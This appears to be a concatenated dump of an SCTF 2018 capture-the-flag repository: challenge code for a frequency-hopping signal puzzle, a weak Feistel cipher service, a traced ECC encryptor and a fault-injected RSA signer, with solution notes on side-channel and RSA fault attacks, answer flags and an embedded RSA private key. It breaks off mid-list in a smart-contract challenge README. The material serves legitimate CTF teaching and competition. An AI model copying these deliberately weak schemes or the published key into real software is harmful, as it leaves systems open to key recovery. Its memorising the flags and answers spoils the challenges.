sequence. Because it is given 36 | that the number of hopping channels are 20, you can identify the hopping 37 | sequence by monitoring the frequencies. Since FSK only deviates the carrier 38 | frequency smaller than the channel bandwidth, you can easily identify the 39 | hopping channels. 40 | 41 | 42 | ## Description 43 | flag: SCTF{9cc184d92ce0adfb805875ed75ff7f10} 44 | -------------------------------------------------------------------------------- /coding/What_does_the_drone_say?/prob/gen.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import bitarray 3 | import struct 4 | 5 | 6 | Fbase = 0 7 | Fs = 200 * pow(10, 6) 8 | Fbit = 10 * pow(10, 3) # simulated bitrate of data 9 | Fdev = 1 * pow(10, 5) # frequency deviation, make higher than bitrate 10 | A = 1 # transmitted signal amplitude 11 | Bw = 100 * pow(10, 5) # bandwidth (bw) 12 | NumCh = 20 # number of channels 13 | BwPerCh = Bw // NumCh # bandwidth per channel 14 | Fch_min = Fbase + (BwPerCh // 2) 15 | Fch_max = Bw - (BwPerCh // 2) 16 | Ch_seqs = [8, 6, 4, 18, 2, 9, 0, 13, 7, 16, 17 | 15, 5, 19, 10, 11, 12, 14, 3, 17, 1] 18 | 19 | 20 | def to_bits(data): 21 | a = bitarray.bitarray() 22 | a.fromstring(data) 23 | return list(map(int, a.tolist())) 24 | 25 | 26 | def to_str(bitarr): 27 | a = bitarray.bitarray(bitarr) 28 | return a.tostring() 29 | 30 | 31 | def modulate(data_in, ch_num): 32 | N = len(data_in) 33 | Fc = Fch_min + BwPerCh * (ch_num + 1) 34 | Fc = int(Fc) 35 | # sampling frequency must be higher than twice the carrier frequency 36 | 37 | t = np.arange(0, float(N)/float(Fbit), 1/float(Fs), dtype=np.float) 38 | m = np.zeros(0).astype(float) 39 | for bit in data_in: 40 | if bit == 1: 41 | m = np.hstack((m, np.multiply(np.ones(Fs/Fbit), Fc+Fdev))) 42 | else: 43 | m = np.hstack((m, np.multiply(np.ones(Fs/Fbit), Fc-Fdev))) 44 | y = A * np.sin(2*np.pi*np.multiply(m, t)) 45 | return y 46 | 47 | 48 | def generate_prob(): 49 | flag = 'Welcome to SCTF 2018!!! If you see this message, ' \ 50 | 'you must have been successfully decode the signal.\n'\ 51 | 'You can get points by submitting: \n'\ 52 | ' SCTF{md5.md5(\'\'.join(map(str, hopping_sequence))).hexdigest()}' 53 | 54 | print (len(flag)) 55 | flag_bits = to_bits(flag) 56 | flag_len = len(flag_bits) 57 | 58 | data = np.zeros(0).astype(float) 59 | for idx, ch_num in enumerate(Ch_seqs): 60 | BitsPerCh = (flag_len // NumCh) 61 | flag_frag = flag_bits[BitsPerCh * idx:BitsPerCh * (idx+1)] 62 | data = np.hstack((data, modulate(flag_frag, ch_num))) 63 | 64 | with open('prob', 'w') as f: 65 | for d in data: 66 | f.write(struct.pack(' /etc/timezone 9 | 10 | RUN apt install -y socat 11 | RUN apt install -y python3 12 | RUN apt install -y python3-pip 13 | RUN pip3 install pycrypto 14 | 15 | ENV PROB Slider 16 | RUN useradd -m $PROB 17 | WORKDIR /home/$PROB 18 | 19 | COPY ./start.sh /start.sh 20 | ADD ./src/* /home/$PROB/ 21 | RUN chmod +x /start.sh 22 | 23 | RUN chown -R $PROB:$PROB /home/$PROB 24 | USER $PROB 25 | 26 | CMD ["/start.sh"] 27 | EXPOSE 6884 28 | -------------------------------------------------------------------------------- /crypto/Slider/deploy/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t slider . 4 | docker rm -f slider 5 | docker run -d --name slider \ 6 | -p 6884:6884 \ 7 | slider 8 | -------------------------------------------------------------------------------- /crypto/Slider/deploy/src/flag.txt: -------------------------------------------------------------------------------- 1 | SCTF{Did_y0u_3nj0y_my_5lid3r?} -------------------------------------------------------------------------------- /crypto/Slider/deploy/src/slider.py: -------------------------------------------------------------------------------- 1 | from itertools import chain, repeat 2 | from Crypto.Cipher import AES 3 | from os import urandom 4 | import signal 5 | import sys 6 | 7 | 8 | def wline(msg=''): 9 | sys.stdout.write(msg + '\n') 10 | sys.stdout.flush() 11 | 12 | 13 | def rline(msg=None): 14 | if msg is not None: 15 | wline(msg) 16 | return sys.stdin.readline().strip() 17 | 18 | 19 | def bxor(a, b): 20 | return bytes(x ^ y for x, y in zip(a, b)) 21 | 22 | 23 | def ncycles(iterable, n): 24 | "Returns the sequence elements n times" 25 | return chain.from_iterable(repeat(tuple(iterable), n)) 26 | 27 | 28 | class Slider: 29 | def __init__(self, key): 30 | self.k0 = key[0:2] 31 | self.k1 = key[2:4] 32 | self.k2 = key[4:6] 33 | 34 | self.P = AES.new(bytes(range(16)), AES.MODE_ECB).encrypt 35 | 36 | def _crypt(self, m, k): 37 | if len(m) != 4: 38 | return None 39 | 40 | l, r = m[0:2], m[2:4] 41 | 42 | def f(x): 43 | return self.P(x + bytes(14))[:2] 44 | 45 | for rkey in ncycles(k, 4): 46 | l, r = r, bxor(l, f(bxor(r, rkey))) 47 | 48 | return r + l 49 | 50 | def encrypt(self, m): 51 | k = (self.k0, self.k1, self.k0, self.k2) 52 | return self._crypt(m, k) 53 | 54 | def decrypt(self, m): 55 | k = (self.k2, self.k0, self.k1, self.k0) 56 | return self._crypt(m, k) 57 | 58 | def guess(self, k): 59 | return k == self.k0 + self.k1 + self.k2 60 | 61 | 62 | class SliderTester: 63 | def __init__(self): 64 | key = urandom(6) 65 | self.slider = Slider(key) 66 | 67 | def handle_crypt(self, cmd, msg): 68 | if cmd == 'enc': 69 | res = self.slider.encrypt(msg) 70 | elif cmd == 'dec': 71 | res = self.slider.decrypt(msg) 72 | else: 73 | res = None 74 | 75 | if res is not None: 76 | wline(res.hex()) 77 | return True 78 | else: 79 | return False 80 | 81 | def handle_guess(self, cand): 82 | if self.slider.guess(cand): 83 | try: 84 | with open('flag.txt') as f: 85 | wline(f.read()) 86 | except Exception: 87 | wline('Call admin plz') 88 | exit() 89 | 90 | def handle(self): 91 | try: 92 | wline('Commands: [enc | dec | guess] ') 93 | for i in range(4 * 2**8 + 1): 94 | cmd, val = rline().split(maxsplit=2) 95 | msg = bytes.fromhex(val) 96 | if cmd in ['enc', 'dec'] and self.handle_crypt(cmd, msg): 97 | continue 98 | elif cmd == 'guess': 99 | self.handle_guess(msg) 100 | break 101 | 102 | except Exception: 103 | exit() 104 | 105 | 106 | if __name__ == '__main__': 107 | server = SliderTester() 108 | signal.alarm(300) 109 | server.handle() 110 | -------------------------------------------------------------------------------- /crypto/Slider/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | export TERM=xterm 3 | socat TCP-LISTEN:6884,pktinfo,reuseaddr,fork EXEC:"stdbuf -i 0 -o 0 python3 /home/Slider/slider.py" 4 | sleep infinity; 5 | -------------------------------------------------------------------------------- /crypto/Tracer/README.md: -------------------------------------------------------------------------------- 1 | # Tracer 2 | 3 | ## Description 4 | 5 | ``` 6 | I made a very secure encryption program. 7 | I encrypted my secret using this program, 8 | but I forgot the key for decrypting... 9 | 10 | Please recover my secret. 11 | 12 | (tar.gz download link) 13 | ``` 14 | 15 | ## How to run 16 | No service to run 17 | 18 | ## How to solve 19 | 0. This is a program implementing EEECC. 20 | 1. We will recover the plaintext through calculating c - (r * priv_key). Since r and c is already given, extracting the private key is the only challenge. 21 | 2. Recover private key from multiplying routine. Branch instruction at a multiplying routine shows each bit of private key. 22 | 3. Calcuate plaintext. c - (r * priv_key) will give you a flag 23 | 24 | ## FLAG 25 | ``` 26 | SCTF{Ev3r_get_th4t_feelin9_of_dejavu_L0LOL} 27 | ``` 28 | -------------------------------------------------------------------------------- /crypto/Tracer/deploy/files.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/crypto/Tracer/deploy/files.tar.gz -------------------------------------------------------------------------------- /crypto/Tracer/prob/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | LDFLAGS=-lgmp 3 | HEADERS=yay.h 4 | SOURCES=yo.c yay.c 5 | EXECUTABLE=my_secure_encryptor 6 | 7 | all: $(EXECUTABLE) 8 | 9 | $(EXECUTABLE): $(SOURCES) $(HEADERS) 10 | $(CC) -o $(EXECUTABLE) $(SOURCES) $(LDFLAGS) 11 | strip $(EXECUTABLE) 12 | 13 | clean: 14 | rm -f $(EXECUTABLE) 15 | 16 | .PHONY: all clean 17 | -------------------------------------------------------------------------------- /crypto/Tracer/prob/What_I_did: -------------------------------------------------------------------------------- 1 | $ ls 2 | flag my_secure_encryptor run.sh 3 | $ ./run.sh ./my_secret_encryptor 4 | g = (3291459756656528189437005134064069945771047709362136970133856639024843215873631250920185633229304736436362403104998101841481730027505698497526303550957222137, 3207547487926960034255694844817514446123925268881012536525135729793509386862557544242324180343533439780759648535453916359389968581881306696611981805070241502) 5 | pub key = (680407299102384788904792662468545733475146765227931202267132217398963182926070939131160380676877201100038583555870952021582574525103014589767310094786801011, 564091521246322671781021439997826343227973718280390368817654204044230184310695230755225784727356270962469757795199968904720107321889346953154840202518690376) 6 | ciphertext = { (4034952588943877160398437644581700288563717368822471296630838129971258383402772314228150161226153677250998253550603965367922068041294259671249451288874876789, 422708168492017868335130533374461696342439031007189403202267230791689490374479857244807379746654294966734951777990063864346111802073564202846920649703752262), (2224760442194543467074495629559476075232903864360145370929413389439216667283720439272697890224137455807067729134405581373953410871944139967816720758933963440, 3644831360231204931788194165792285896267761055173328744503265847796374317763667538819786184103298255046616141613486599230303670166188979837177801896911824510) } 7 | $ rm flag #Oops! I have no private key to decrypt :( 8 | $ ls 9 | my_secure_encryptor pc.log run.sh 10 | -------------------------------------------------------------------------------- /crypto/Tracer/prob/flag: -------------------------------------------------------------------------------- 1 | SCTF{Ev3r_get_th4t_feelin9_of_dejavu_L0LOL} 2 | -------------------------------------------------------------------------------- /crypto/Tracer/prob/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | PIN_ROOT=../pin-3.6-97554-g31f0a167d-gcc-linux 4 | 5 | if [ $# -gt 0 ] 6 | then 7 | $PIN_ROOT/pin -t $PIN_ROOT/source/tools/EIPLogger/obj-intel64/EIPLogger.so -- $@ 8 | else 9 | echo "Few arguments" 10 | fi 11 | -------------------------------------------------------------------------------- /crypto/Tracer/prob/yay.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "yay.h" 6 | 7 | void point_init(point *p) { 8 | mpz_init(p->x); 9 | mpz_init(p->y); 10 | } 11 | 12 | void point_free(point *p) { 13 | mpz_clear(p->x); 14 | mpz_clear(p->y); 15 | } 16 | 17 | void point_copy(point *dst, point *src) { 18 | mpz_set(dst->x, src->x); 19 | mpz_set(dst->y, src->y); 20 | } 21 | 22 | 23 | void mpz_mulinv(mpz_t res, mpz_t n, mpz_t p) { 24 | mpz_t g, t; 25 | mpz_init(g); 26 | mpz_init(t); 27 | 28 | mpz_gcdext(g, res, t, n, p); 29 | mpz_mod(res, res, p); 30 | 31 | mpz_clear(g); 32 | mpz_clear(t); 33 | } 34 | 35 | void point_add(point *res, point *p, point *q) { 36 | mpz_t tmp1, tmp2, tmp3, m; 37 | point p_copy, q_copy, res_copy; 38 | 39 | point_init(&p_copy); 40 | point_init(&q_copy); 41 | point_init(&res_copy); 42 | point_copy(&p_copy, p); 43 | point_copy(&q_copy, q); 44 | 45 | mpz_init(tmp1); 46 | mpz_init(tmp2); 47 | mpz_init(tmp3); 48 | mpz_init(m); 49 | 50 | if ((mpz_cmp(p->x, q->x) == 0) && (mpz_cmp(p->y, q->y) == 0)) { 51 | mpz_mul_ui(tmp1, p_copy.y, 2); 52 | mpz_mul_ui(tmp2, p_copy.x, 3); 53 | mpz_mul(tmp2, tmp2, p_copy.x); 54 | mpz_sub(tmp2, tmp2, A); 55 | mpz_mulinv(tmp3, tmp1, P); 56 | mpz_mul(m, tmp3, tmp2); 57 | mpz_mod(m, m, P); 58 | 59 | mpz_mul(res_copy.x, m, m); 60 | mpz_sub(res_copy.x, res_copy.x, p_copy.x); 61 | mpz_sub(res_copy.x, res_copy.x, p_copy.x); 62 | mpz_mod(res_copy.x, res_copy.x, P); 63 | 64 | mpz_sub(res_copy.y, p_copy.x, res_copy.x); 65 | mpz_mul(res_copy.y, res_copy.y, m); 66 | mpz_sub(res_copy.y, res_copy.y, p_copy.y); 67 | mpz_mod(res_copy.y, res_copy.y, P); 68 | } else { 69 | mpz_sub(tmp1, p_copy.y, q_copy.y); 70 | mpz_sub(tmp2, p_copy.x, q_copy.x); 71 | mpz_mulinv(tmp3, tmp2, P); 72 | mpz_mul(m, tmp1, tmp3); 73 | mpz_mod(m, m, P); 74 | 75 | mpz_mul(res_copy.x, m, m); 76 | mpz_sub(res_copy.x, res_copy.x, p_copy.x); 77 | mpz_sub(res_copy.x, res_copy.x, q_copy.x); 78 | mpz_mod(res_copy.x, res_copy.x, P); 79 | 80 | mpz_sub(res_copy.y, p_copy.x, res_copy.x); 81 | mpz_mul(res_copy.y, res_copy.y, m); 82 | mpz_sub(res_copy.y, res_copy.y, p_copy.y); 83 | mpz_mod(res_copy.y, res_copy.y, P); 84 | } 85 | 86 | point_copy(res, &res_copy); 87 | 88 | point_free(&p_copy); 89 | point_free(&q_copy); 90 | point_free(&res_copy); 91 | 92 | mpz_clear(tmp1); 93 | mpz_clear(tmp2); 94 | mpz_clear(tmp3); 95 | mpz_clear(m); 96 | } 97 | 98 | void point_neg(point *res, point *p) { 99 | point_copy(res, p); 100 | mpz_neg(res->y, res->y); 101 | mpz_mod(res->y, res->y, P); 102 | } 103 | 104 | void point_sub(point *res, point *p, point *q) { 105 | point q_copy; 106 | point_init(&q_copy); 107 | 108 | point_neg(&q_copy, q); 109 | point_add(res, p, &q_copy); 110 | 111 | point_free(&q_copy); 112 | } 113 | 114 | void point_mul_ui(point *res, point *p, unsigned int k) { 115 | int bit; 116 | bool set = false; 117 | 118 | point tmp; 119 | point_init(&tmp); 120 | point_copy(&tmp, p); 121 | 122 | while (k > 0) { 123 | bit = k % 2; 124 | k >>= 1; 125 | 126 | if (bit) { 127 | if (set) { 128 | point_add(res, res, &tmp); 129 | } else { 130 | point_copy(res, &tmp); 131 | set = true; 132 | } 133 | } 134 | 135 | point_add(&tmp, &tmp, &tmp); 136 | } 137 | 138 | point_free(&tmp); 139 | } 140 | 141 | void point_mul(point *res, point *p, mpz_t _k) { 142 | bool set = false; 143 | mpz_t k; 144 | mpz_init_set(k, _k); 145 | 146 | point tmp; 147 | point_init(&tmp); 148 | point_copy(&tmp, p); 149 | 150 | mpz_t bit; 151 | mpz_init(bit); 152 | 153 | while (mpz_cmp_ui(k, 0) > 0) { 154 | mpz_mod_ui(bit, k, 2); 155 | mpz_div_ui(k, k, 2); 156 | 157 | if (mpz_cmp_ui(bit, 1) == 0) { 158 | if (set) { 159 | point_add(res, res, &tmp); 160 | } else { 161 | point_copy(res, &tmp); 162 | set = true; 163 | } 164 | } 165 | 166 | point_add(&tmp, &tmp, &tmp); 167 | } 168 | 169 | point_free(&tmp); 170 | } 171 | 172 | void lib_init() { 173 | int i; 174 | mpz_init_set_ui(A, 3); 175 | mpz_init(B); 176 | mpz_set_str(B, "51953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00", 16); 177 | mpz_init_set_ui(P, 1); 178 | 179 | for (i = 0; i < 521; i++) { 180 | mpz_mul_ui(P, P, 2); 181 | } 182 | mpz_sub_ui(P, P, 1); 183 | } 184 | -------------------------------------------------------------------------------- /crypto/Tracer/prob/yay.h: -------------------------------------------------------------------------------- 1 | mpz_t A, B, P; 2 | 3 | typedef struct _point { 4 | mpz_t x; 5 | mpz_t y; 6 | } point; 7 | 8 | void point_init(point *p); 9 | void point_free(point *p); 10 | void point_copy(point *dst, point *src); 11 | 12 | void point_add(point *res, point *p, point *q); 13 | void point_neg(point *res, point *p); 14 | void point_sub(point *res, point *p, point *q); 15 | void point_mul_ui(point *res, point *p, unsigned int k); 16 | void point_mul(point *res, point *p, mpz_t _k); 17 | 18 | void mpz_mulinv(mpz_t res, mpz_t n, mpz_t p); 19 | 20 | void lib_init(); 21 | -------------------------------------------------------------------------------- /crypto/Tracer/prob/yo.c: -------------------------------------------------------------------------------- 1 | #include "gmp.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "yay.h" 13 | 14 | char hex_flag[100]; 15 | char flag[100]; 16 | mpz_t mpz_flag, y_2, r_num, priv_key; 17 | point base_point, generator, pub_key, rnd_key, c_text, p_text; 18 | 19 | void init() { 20 | int i, fd; 21 | memset(flag, 0, 100); 22 | memset(hex_flag, 0, 100); 23 | 24 | fd = open("./flag", O_RDONLY); 25 | read(fd, flag, 100); 26 | for (i = 0; i < strlen(flag); i++) { 27 | sprintf((char *)(hex_flag + (i * 2)), "%02x", flag[i]); 28 | } 29 | 30 | mpz_init(mpz_flag); 31 | mpz_init(y_2); 32 | mpz_set_str(mpz_flag, hex_flag, 16); 33 | 34 | mpz_set(y_2, mpz_flag); 35 | mpz_mul(y_2, y_2, mpz_flag); 36 | mpz_mul(y_2, y_2, mpz_flag); 37 | mpz_submul(y_2, mpz_flag, A); 38 | mpz_add(y_2, y_2, B); 39 | 40 | mpz_mod(y_2, y_2, P); 41 | 42 | if (mpz_legendre(y_2, P) != 1) { 43 | puts("Cannot calculate quadratic residue of flag"); 44 | exit(1); 45 | } 46 | 47 | point_init(&p_text); 48 | mpz_set(p_text.x, mpz_flag); 49 | 50 | mpz_t bit, tmp_k, tmp_base; 51 | mpz_init(bit); 52 | mpz_init(tmp_k); 53 | mpz_init(tmp_base); 54 | mpz_set(tmp_k, P); 55 | mpz_add_ui(tmp_k, tmp_k, 1); 56 | mpz_div_ui(tmp_k, tmp_k, 4); 57 | mpz_set(tmp_base, y_2); 58 | 59 | mpz_set_ui(p_text.y, 1); 60 | 61 | while (mpz_cmp_ui(tmp_k, 0) > 0) { 62 | mpz_mod_ui(bit, tmp_k, 2); 63 | mpz_div_ui(tmp_k, tmp_k, 2); 64 | 65 | if (mpz_cmp_ui(bit, 1) == 0) { 66 | mpz_mul(p_text.y, p_text.y, tmp_base); 67 | mpz_mod(p_text.y, p_text.y, P); 68 | } 69 | 70 | mpz_mul(tmp_base, tmp_base, tmp_base); 71 | mpz_mod(tmp_base, tmp_base, P); 72 | } 73 | 74 | point_init(&base_point); 75 | point_init(&generator); 76 | mpz_set_str(base_point.x, "c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66", 16); 77 | mpz_set_str(base_point.y, "11839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650", 16); 78 | 79 | gmp_randstate_t state; 80 | gmp_randinit_default(state); 81 | gmp_randseed_ui(state, time(NULL)); 82 | 83 | mpz_init(r_num); 84 | 85 | mpz_urandomb(r_num, state, 512); 86 | 87 | point_mul(&generator, &base_point, r_num); 88 | 89 | mpz_init(priv_key); 90 | point_init(&pub_key); 91 | 92 | mpz_urandomb(priv_key, state, 512); 93 | 94 | point_mul(&pub_key, &generator, priv_key); 95 | 96 | mpz_urandomb(r_num, state, 512); 97 | 98 | point_init(&rnd_key); 99 | point_mul(&rnd_key, &generator, r_num); 100 | 101 | point_mul(&c_text, &pub_key, r_num); 102 | point_add(&c_text, &c_text, &p_text); 103 | } 104 | 105 | int main(int argc, char *argv[]) { 106 | lib_init(); 107 | init(); 108 | 109 | printf("g = ("); 110 | mpz_out_str(stdout, 10, generator.x); 111 | printf(", "); 112 | mpz_out_str(stdout, 10, generator.y); 113 | puts(")"); 114 | 115 | printf("pub key = ("); 116 | mpz_out_str(stdout, 10, pub_key.x); 117 | printf(", "); 118 | mpz_out_str(stdout, 10, pub_key.y); 119 | puts(")"); 120 | 121 | printf("ciphertext = { ("); 122 | mpz_out_str(stdout, 10, rnd_key.x); 123 | printf(", "); 124 | mpz_out_str(stdout, 10, rnd_key.y); 125 | printf("), ("); 126 | mpz_out_str(stdout, 10, c_text.x); 127 | printf(", "); 128 | mpz_out_str(stdout, 10, c_text.y); 129 | puts(") }"); 130 | 131 | 132 | 133 | /* 134 | point ptext; 135 | point_init(&ptext); 136 | 137 | point_mul(&ptext, &rnd_key, priv_key); 138 | point_sub(&ptext, &c_text, &ptext); 139 | 140 | mpz_out_str(stdout, 16, c_text.x); 141 | puts(""); 142 | mpz_out_str(stdout, 16, c_text.y); 143 | puts(""); 144 | puts(""); 145 | 146 | mpz_out_str(stdout, 16, ptext.x); 147 | puts(""); 148 | mpz_out_str(stdout, 16, ptext.y); 149 | puts(""); 150 | puts(""); 151 | 152 | mpz_out_str(stdout, 16, p_text.x); 153 | puts(""); 154 | mpz_out_str(stdout, 16, p_text.y); 155 | puts(""); 156 | */ 157 | return 0; 158 | } 159 | -------------------------------------------------------------------------------- /crypto/Volatile/README.md: -------------------------------------------------------------------------------- 1 | # Volatile 2 | 3 | ## Description 4 | 5 | I made my own RSA signer using database. Later I noticed the database 6 | did not work properly, but I believe the signer is safe from errors. 7 | [link](#) 8 | 9 | ## How to run 10 | No service. Only `data.txt` and `rsa.py` are given. Run `python3 rsa.py` 11 | to generate data. Note that there exists very small probability that it 12 | generates invalid(unsolvable) data. Therefore, one should check validity 13 | by running exploit code before deploy. 14 | 15 | ## flag 16 | `SCTF{Claaaasic_RSA_challenge_from_errors}` 17 | 18 | ## How to solve 19 | In this challenge, we combined two well known fault attacks on RSA: fault 20 | in exponents and CRT. In `rsa.py`, other private variables except `dp` and `dq` 21 | are checked properly before using so that they are safe from faults. For 22 | `dp` and `dq`, I checked only for `GCD(s^e - m, n) in [p, q]` which avoids 23 | classic fault attack on CRT part. 24 | 25 | The problem occurs when `GCD(s^e - m, n) = 1`, which tell us there were faults 26 | on both `dp` and `dq`. Here we can use the idea of fault attack on exponents. 27 | First, we guess error occured in a bit (so it flipped). If i'th bit was 28 | flipped, one of `s * m^i` or `s * m^-i` will be valid sign in 29 | `mod p` or `mod q`. Then we can apply fault attack on CRT to find `p` or `q`. 30 | 31 | You may see the details for attacking fault in exponents at writeups of 32 | Radioactive(pctf 2016) or BrokenBox(CSAW 2016). For the fault attack 33 | on CRT, see section 5.2 in [link](https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf). 34 | -------------------------------------------------------------------------------- /crypto/Volatile/deploy/Volatile.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/crypto/Volatile/deploy/Volatile.tar.gz -------------------------------------------------------------------------------- /crypto/Volatile/deploy/flag.txt: -------------------------------------------------------------------------------- 1 | SCTF{Claaaasic_RSA_challenge_from_errors} 2 | -------------------------------------------------------------------------------- /crypto/Volatile/deploy/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpAIBAAKCAQEAqM+f3N3DMUTBQPfSlQLZ+kr/HS1PdxAF3YZnvqbqcHm2ui8L 3 | qP/xMp+Zj7klnwL7PIJRBoU09z/WGoG0QMgQauO5p4k5ymvpRAKIeqP2QS2B9sX2 4 | 6klzbaTKEhTfvIL47ZvVUcUx0ZO+AVOE4d1YW9HZdkzY5Z9pCQFbNm/e2IEeLLyn 5 | sue7ZkHtkqp8mSRVNCxEZyBOX95XdI3LsWjh+Zq9uEsmAB+QuWSblWCT0uCGKgeV 6 | zTgu19wJ0UspzKS/Sp/WnHZgILJdklojdLiZb73TDt33/adWX3tzsebzo9kuvaN5 7 | kPvO8eC3UXj62rWDo0cK+keVnCPs1kJuZE7D7QIDAQABAoIBAA5lGhA29uCaKNKV 8 | 72aWhijyQTvnM7oG60EfJ3SZ/i7WKi9JOLjSDmrPMkSPuLYNBoh74lXogQI+ds7u 9 | 1YSaqs+6mIfBS2TH++25O5MdrS+Uplr5OZtz5PxqC3MsRYHpNznnynJ9GsjwzMiH 10 | KzMpcVHvHJiaZ/p4s/e5HmKPepTClmi0oYSNuVnzgsmCDThcOiOPftLuOtWwKGqo 11 | 6F/Ty+D4AgvXiuAUWDD1sKSlyknfg6UYywTUKoLYEP8BGkhUamvA7xP1ZDMI4T7/ 12 | OWLdUOMtFFS4HmTMXOrBB5sA42rJbJTZhBufkK/qHsieHBcnG3jwASJ2pCST5wA0 13 | 4sM5RH8CgYEAx4AdJ8pGW5ElCq9FdIyTCCW63dYHimm0idTW7Ai99Dt3IF4PuZ3L 14 | fQhMOf80QsB6QBgCXGlEfPgz1NEYx4/j0GYA751m6OHhDvMYZuAZGrV+OT6BkkmS 15 | PafhT2lqZ3UGkVNQtktC/hRdL5W1b2dLUFqIQ8v0dEldp5kT2d8O3wMCgYEA2J6D 16 | IlBUVDwkY0+lrfK2D+9VO9qYAkmgX5PhhQoGiTRC2vLci1hPKbwMgxpVUW5M04te 17 | nSfMDhXeIXuxDblX4hT0hp7XY56w3KgThXgTPb+todbvzatYGrRaJ2WHf9o40cMA 18 | +VHgSdiZJIZJl+YQaQPrUsiMgBFhiMdGxLS0pk8CgYEAoiyABueEmEz+GphuUpcv 19 | svDQ3iJtkNPrAhx19fwJRm/MoBA2okImt+Y16POPbTAAcPfTe4HLPfeaUscDaL6M 20 | h81Tt3VxwaBVDo0I6iAD6FVfXXN1axDJg7tkCeT8rUtRYnOi6f12YQr20YbWrc// 21 | RjvCB7LVbm5xZpumqnaMJTcCgYBnug+lIL4gz+PEwmDdmLlhjANOc/ASOFtZKSD2 22 | acSTcrkIyv6cox7VJzz+kl+EbMLREY2ux13I6OPDOM2her0Af3RP+kO9akHah4lB 23 | giwEh4KHWrrdy0yXDQGWl+F4cXB/0VboDDLQaa17depLmFkHUF8g9vOAZ9JCgtn6 24 | W2WdtQKBgQCCu6NcK/uDh12SYNpe/RORNDOkdp8W6++LgKWrdkMW/MBU07rGbanU 25 | mo2qtW2yr8l/ASKwPCl7VoZCvKZRKzLFgQ7RsMRXz0yTWJda/IAz3b4B9ZeSpYAJ 26 | 1gFipNwcwmWZuoaLB7T358zWbeMfmIn4E4vyH1h8VNVT1/YlCwfL5Q== 27 | -----END RSA PRIVATE KEY----- -------------------------------------------------------------------------------- /crypto/Volatile/deploy/rsa.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import bytes_to_long, GCD 2 | from Crypto.PublicKey import RSA 3 | from util import volatile_DB as DB 4 | import random 5 | 6 | 7 | class myRSA: 8 | def __init__(self, keyFile): 9 | with open(keyFile) as f: 10 | rsa = RSA.importKey(f.read()) 11 | self._db = DB() 12 | 13 | keydata = ['p', 'q', 'd', 'u', 'n', 'e'] 14 | p, q, d, u, n, e = (getattr(rsa, attr) for attr in keydata) 15 | 16 | self.n = rsa.n 17 | self.e = rsa.e 18 | del rsa 19 | 20 | dp = d % (p - 1) 21 | dq = d % (q - 1) 22 | 23 | self._db.save('p', p) 24 | self._db.save('q', q) 25 | self._db.save('dp', dp) 26 | self._db.save('dq', dq) 27 | self._db.save('u', u) 28 | 29 | def sign(self, m): 30 | p, q, u = 1, 1, 1 31 | while p * q != self.n: 32 | p = self._db.load('p') 33 | q = self._db.load('q') 34 | 35 | while u * p % q != 1: 36 | u = self._db.load('u') 37 | 38 | while True: 39 | dp = self._db.load('dp') 40 | dq = self._db.load('dq') 41 | 42 | s1 = pow(m, dp, p) 43 | s2 = pow(m, dq, q) 44 | 45 | h = s2 - s1 46 | if h < 0: 47 | h = h + q 48 | 49 | h = h * u % q 50 | s = h * p + s1 51 | 52 | # Avoid fault 53 | if GCD(pow(s, self.e, self.n) - m, self.n) not in [p, q]: 54 | return s 55 | 56 | def encrypt(self, msg): 57 | m = bytes_to_long(msg) 58 | return pow(m, self.e, self.n) 59 | 60 | 61 | if __name__ == '__main__': 62 | rsa = myRSA('key.pem') 63 | with open('flag.txt', 'rb') as f: 64 | flag = f.read() 65 | 66 | with open('data.txt', 'w') as f: 67 | f.write('(%d, %d)\n' % (rsa.n, rsa.e)) 68 | 69 | for i in range(20): 70 | m = random.getrandbits(rsa.n.bit_length() - 1) 71 | s = rsa.sign(m) 72 | f.write('(%d, %d)\n' % (m, s)) 73 | 74 | f.write('%x\n' % (rsa.encrypt(flag))) 75 | -------------------------------------------------------------------------------- /crypto/Volatile/deploy/util.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | import random 3 | 4 | 5 | class volatile_DB: 6 | def __init__(self): 7 | self.db = dict() 8 | 9 | def save(self, nid, n): 10 | self.db[nid] = n 11 | 12 | def load(self, nid): 13 | n = self.db[nid] 14 | error = random.choice([True, False, False]) 15 | 16 | if error: 17 | error_ind = random.randint(0, n.bit_length() - 1) 18 | n ^= 1 << error_ind 19 | 20 | return n 21 | 22 | 23 | def paramGen(): 24 | rsa = RSA.generate(2048) 25 | with open('key.pem', 'wb') as f: 26 | f.write(rsa.exportKey()) 27 | 28 | 29 | if __name__ == '__main__': 30 | paramGen() 31 | -------------------------------------------------------------------------------- /defense/BankRobber/README.md: -------------------------------------------------------------------------------- 1 | # BankRobber 2 | 3 | ## Description 4 | SCTFBank looks vulnerable... 5 | Patch and protect it from Bankrobbers! 6 | 7 | `nc bankrobber.eatpwnnosleep.com 4567` 8 | 9 | [SCTFBank.sol](#) 10 | 11 | 12 | ## Flag 13 | SCTF{sorry_this_transaction_was_sent_by_my_cat} 14 | 15 | 16 | ## How to solve 17 | There are 4 vulnerabilities and 4 robbers (Alpha, Bravo, Charlie, Delta). 18 | - Alpha: No verification of balance in donate function. 19 | - Bravo: Integer overflow in multiTransfer 